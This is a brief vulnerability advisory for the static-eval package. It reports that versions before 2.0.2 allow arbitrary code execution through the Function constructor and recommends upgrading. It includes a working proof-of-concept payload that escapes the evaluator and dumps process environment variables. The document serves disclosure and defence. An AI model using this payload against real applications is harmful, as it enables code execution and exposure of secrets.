Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.
